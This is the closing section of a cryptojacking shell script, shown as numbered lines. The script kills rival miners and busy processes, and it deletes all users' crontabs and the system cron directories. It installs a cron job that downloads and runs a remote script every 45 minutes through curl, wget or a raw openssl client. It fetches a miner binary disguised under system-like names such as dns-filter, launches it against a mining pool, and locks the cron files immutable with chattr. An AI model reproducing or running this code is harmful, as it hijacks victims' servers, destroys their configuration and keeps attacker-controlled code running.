  571.   rm -f /tmp/run.sh 2>/dev/null || true
  572.   # Reclaim as honeypots
  573.   mkdir -p /bin/softirq 2>/dev/null || true
  574.   mkdir -p /tmp/nuclear 2>/dev/null || true
  575.   mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  576.   mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  577.   mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  578.   mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  579.   mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  580.   mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  581.   # Remove old dns-filter artifacts
  582.   for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
  583.     [ -f "$_cf_f" ] && rm -f "$_cf_f"
  584.   done
  585. }
  586. safe_patch_args() {
  587.   _spa_file='/lib/systemd/cache/process-watcher'
  588.   _spa_value="-o $_c3 -u $_c4/P2 --tls"
  589.   [ -f "$_spa_file" ] || return 0
  590.   _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  591.   if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
  592.     sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  593.   else
  594.     printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  595.   fi
  596. }
  597. replace_pool_user() {
  598.   _rpu_path="/var/tmp/.odoo_pg_health.json"
  599.   [ -f "$_rpu_path" ] || return 0
  600.   _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  601.   _rpu_tmp="${_rpu_path}.tmp.$$"
  602.   sed -e "s|\(\"user\"[     ]*:[    ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
  603.     <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  604.   [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
  605. }
  606. get_cpu_count() {
  607.   if [ -f /proc/cpuinfo ]; then
  608.     grep -c '^processor' /proc/cpuinfo
  609.   else
  610.     sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  611.   fi
  612. }
  613. is_ec2_host() {
  614.   hostname | grep -qi -e "ec2" -e "compute"
  615. }
  616. is_our_process_running() {
  617.   for _iop_dir in /proc/[0-9]*; do
  618.     [ -r "$_iop_dir/cmdline" ] || continue
  619.     _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  620.     if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
  621.       _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  622.       [ "$_iop_state" = "Z" ] && continue
  623.       _iop_pid="${_iop_dir##*/}"
  624.       case "$_ga_arch" in
  625.         aarch64|arm64|armv8l)
  626.           case "$_iop_cmdline" in
  627.             *"/$_c1"*) ;;
  628.             *)
  629.               echo "ARM process uses a different identifier; replacing"
  630.               kill -9 "$_iop_pid" 2>/dev/null
  631.               sleep 1
  632.               continue
  633.               ;;
  634.           esac
  635.           ;;
  636.       esac
  637.       _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  638.       _iop_cpu=${_iop_cpu:-0}
  639.       _iop_int=${_iop_cpu%.*}
  640.       _iop_int=${_iop_int:-0}
  641.       if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  642.         echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
  643.         return 0
  644.       else
  645.         echo "Our process idle (PID $_iop_pid) — killing and relaunching"
  646.         kill -9 "$_iop_pid" 2>/dev/null
  647.         sleep 1
  648.       fi
  649.     fi
  650.   done
  651.   echo "Our process not running"
  652.   return 1
  653. }
  654. set_arch_urls() {
  655.   _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  656.   case "$_ga_arch" in
  657.     x86_64|amd64)
  658.       _ga_url="$_c7"
  659.       _ga_fallback="$_c9"
  660.       _ga_machine=3e00
  661.       ;;
  662.     aarch64|arm64|armv8l)
  663.       _ga_url="$_c8"
  664.       _ga_fallback=""
  665.       _ga_machine=b700
  666.       _c1=ARM
  667.       ;;
  668.     *)
  669.       _ga_url=""
  670.       _ga_fallback=""
  671.       _ga_machine=""
  672.       return 1
  673.       ;;
  674.   esac
  675. }
  676. _elf_machine() {
  677.   od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
  678. }
  679. _is_elf_for_arch() {
  680.   _ie_file="$1"
  681.   [ -s "$_ie_file" ] || return 1
  682.   [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  683.   [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  684.   [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
  685. }
  686. _sfx_path() {
  687.   if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  688.   else printf '/tmp/.sysid'; fi
  689. }
  690. _load_or_gen_sfx() {
  691.   _log_f=$(_sfx_path)
  692.   if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  693.   _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  694.   [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  695.   mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  696.   printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  697.   printf '%s' "$_log_s"
  698. }
  699.  
  700. wipe_previous_crons() {
  701.   # 1) Release immutable/append-only pins from ANY cron file (not just
  702.   #    $(whoami)) — otherwise rm below fails with "Operation not permitted"
  703.   #    and the stale cron survives the wipe.
  704.   if [ "$(id -u)" -eq 0 ]; then
  705.     for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
  706.                /var/spool/cron/* /var/spool/cron/crontabs/* \
  707.                /etc/cron.hourly/* /etc/cron.daily/* \
  708.                /etc/cron.weekly/* /etc/cron.monthly/* \
  709.                /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  710.       [ -e "$_wl" ] || continue
  711.       chattr -i "$_wl" 2>/dev/null || true
  712.       chattr -a "$_wl" 2>/dev/null || true
  713.     done
  714.   fi
  715.  
  716.   # 2) Drop every user's crontab
  717.   crontab -r 2>/dev/null || true
  718.   for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
  719.     [ -f "$_us" ] && rm -f "$_us" 2>/dev/null || true
  720.   done
  721.  
  722.   # 3) Drop the system-wide cron tree
  723.   rm -f /etc/crontab 2>/dev/null || true
  724.   rm -f /etc/cron.d/* 2>/dev/null || true
  725.   rm -f /etc/cron.hourly/* /etc/cron.daily/* \
  726.         /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  727. }
  728.  
  729. create_cronjob() {
  730.   # Refresh the same plain shell script that was uploaded at /mon.
  731.   _cc_cmd=""
  732.   if command -v curl >/dev/null 2>&1; then
  733.     _cc_cmd="curl -fsSLk $_c2 | tr -d \"\r\" | sh"
  734.   elif command -v wget >/dev/null 2>&1; then
  735.     _cc_cmd="wget -qO- $_c2 | tr -d \"\r\" | sh"
  736.   elif command -v openssl >/dev/null 2>&1; then
  737.     _cc_helper="/tmp/.cron_fetch_$$.sh"
  738.     cat > "$_cc_helper" << 'CRONHELPER'
  739. #!/bin/sh
  740. . /tmp/.hglib_cron 2>/dev/null
  741.     http_get "$1" | tr -d "\r" | sh
  742. CRONHELPER
  743.     chmod 755 "$_cc_helper"
  744.     cat > /tmp/.hglib_cron << 'HGLIB'
  745. http_get() {
  746.   _u="$1";_n=0
  747.   while [ "$_n" -lt 5 ]; do
  748.     _n=$((_n+1));_p="${_u#https://}";_p="${_p#http://}";
  749.     _h="${_p%%/*}";_q="/${_p#*/}";[ "$_h" = "$_p" ]&&_q="/"
  750.     _i=$(getent ahostsv4 "$_h" 2>/dev/null|awk '{print $1;exit}')
  751.     [ -z "$_i" ]&&_i="$_h"
  752.     _a="/tmp/.cr$$a";_b="/tmp/.cr$$b"
  753.     printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h">"$_a"
  754.     if command -v timeout >/dev/null 2>&1; then
  755.       timeout 45 openssl s_client -connect "${_i}:443" -servername "$_h" \
  756.         -quiet <"$_a">"$_b" 2>/dev/null
  757.     else
  758.       openssl s_client -connect "${_i}:443" -servername "$_h" \
  759.         -quiet <"$_a">"$_b" 2>/dev/null
  760.     fi
  761.     _s=$(head -1 "$_b" 2>/dev/null|awk '{print $2}')
  762.     case "$_s" in 301|302|303|307|308)
  763.       _l=$(perl -0777 -ne 'if(/^Location:\s*(\S+)/im){print $1}' "$_b"|tr -d '\r')
  764.       rm -f "$_a" "$_b" 2>/dev/null;[ -z "$_l" ]&&return 1
  765.       case "$_l" in /*)_l="https://${_h}${_l}";;http://*|https://*);;*)_l="https://${_h}/${_l}";;esac
  766.       _u="$_l";continue;;
  767.     esac
  768.     perl -0777 -ne 'if(/^(.*?)\r\n\r\n(.*)$/s){print $2}' <"$_b"
  769.     rm -f "$_a" "$_b" 2>/dev/null;return 0
  770.   done
  771.   return 1
  772. }
  773. HGLIB
  774.     _cc_cmd="$_cc_helper $_c2"
  775.   else
  776.     echo "Cannot create cron job — no curl/wget/openssl"
  777.     return 1
  778.   fi
  779.   (crontab -l 2>/dev/null | grep -vF "$_c2"; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -
  780.   echo "Cron persistence installed."
  781. }
  782. for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  783.   if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  784.     # Check it's not our process (guard against race: process may have died)
  785.     [ -r "/proc/$_main_pid/cmdline" ] || continue
  786.     _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
  787.     _is_excluded "$_main_cmdline" && continue
  788.     kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  789.   fi
  790. done
  791. if [ "$(id -u)" -eq 0 ]; then
  792.   command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
  793. fi
  794. log "Killing competing miners..."
  795. kill_themf
  796. kill_mf3
  797. kill_high_cpu
  798. for _main_target in \
  799.   ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  800.   "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  801.   "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  802.   kill_and_remove_process "$_main_target" || true
  803. done
  804. log "Hardening network..."
  805. harden_network
  806. log "Cleaning up files..."
  807. cleanup_files
  808. safe_patch_args
  809. replace_pool_user
  810. _SFX=$(_load_or_gen_sfx)
  811. if [ "$(id -u)" -eq 0 ]; then
  812.   HOME_1="/usr_${_SFX}/lib/dev"
  813.   _main_user_type="root"
  814.   # Install cron if missing (only as root)
  815.   if ! command -v crontab >/dev/null 2>&1; then
  816.     log "Installing cron..."
  817.     if command -v apk >/dev/null 2>&1; then
  818.       apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
  819.       command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
  820.       command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
  821.     elif command -v apt-get >/dev/null 2>&1; then
  822.       apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
  823.     elif command -v yum >/dev/null 2>&1; then
  824.       yum install -y cronie 2>/dev/null || true
  825.     fi
  826.   fi
  827. else
  828.   HOME_1="/tmp/.usr_${_SFX}/lib"
  829.   _main_user_type="user"
  830. fi
  831. program_file="$HOME_1/systemdev/dns-filter"
  832. mkdir -p "$HOME_1/systemdev" 2>/dev/null
  833. if ! set_arch_urls; then
  834.   log "Unsupported architecture: $_ga_arch"
  835.   exit 1
  836. fi
  837. cpu_count=$(get_cpu_count)
  838. is_ec2=false; is_ec2_host && is_ec2=true
  839. if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  840.   log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  841.   exit 0
  842. fi
  843. log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
  844. if is_our_process_running; then
  845.   log "Process running — installing cron and exiting"
  846.   wipe_previous_crons
  847.   create_cronjob "$_c2"
  848.   exit 0
  849. fi
  850. log "Downloading..."
  851. arch_url="$_ga_url"
  852. if _is_elf_for_arch "$program_file"; then
  853.   log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
  854. else
  855.   rm -f "$program_file" 2>/dev/null || true
  856.   log "Fetching from $arch_url..."
  857.   fetch_file "$arch_url" "$program_file"
  858.   chmod +x "$program_file" 2>/dev/null
  859.   if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
  860.     log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
  861.     rm -f "$program_file"
  862.     fetch_file "$_ga_fallback" "$program_file"
  863.     chmod +x "$program_file" 2>/dev/null
  864.   fi
  865. fi
  866. if ! _is_elf_for_arch "$program_file"; then
  867.   log "Error: no executable for architecture $_ga_arch"
  868.   rm -f "$program_file" 2>/dev/null || true
  869.   exit 1
  870. fi
  871. log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
  872. if ! "$program_file" --version >/dev/null 2>&1; then
  873.   log "Error: binary failed the version check"
  874.   rm -f "$program_file" 2>/dev/null || true
  875.   exit 1
  876. fi
  877. launch_miner() {
  878.   if command -v setsid >/dev/null 2>&1; then
  879.     setsid "$program_file" "$@" >/dev/null 2>&1 &
  880.   else
  881.     nohup "$program_file" "$@" >/dev/null 2>&1 &
  882.   fi
  883.   _launch_pid=$!
  884. }
  885. log "Launching..."
  886. _launch_ok=0
  887. launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
  888. sleep 5
  889. if kill -0 "$_launch_pid" 2>/dev/null; then
  890.   log "Process running (PID $_launch_pid)"
  891.   _launch_ok=1
  892. else
  893.   log "Primary launch failed — retrying without -k..."
  894.   launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
  895.   sleep 5
  896.   if kill -0 "$_launch_pid" 2>/dev/null; then
  897.     log "Process running on retry (PID $_launch_pid)"
  898.     _launch_ok=1
  899.   fi
  900. fi
  901. if [ "$_launch_ok" != 1 ]; then
  902.   log "All launch attempts failed"
  903.   rm -f "$program_file" 2>/dev/null || true
  904.   exit 1
  905. fi
  906. wipe_previous_crons
  907. create_cronjob "$_c2"
  908. if [ "$(id -u)" -eq 0 ]; then
  909.   for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  910.     if [ -f "$_lock_file" ]; then
  911.       chattr +i "$_lock_file" 2>/dev/null || true
  912.       chattr +a "$_lock_file" 2>/dev/null || true
  913.     fi
  914.   done
  915. fi
  916. log "Deployment complete."
  917. exit 0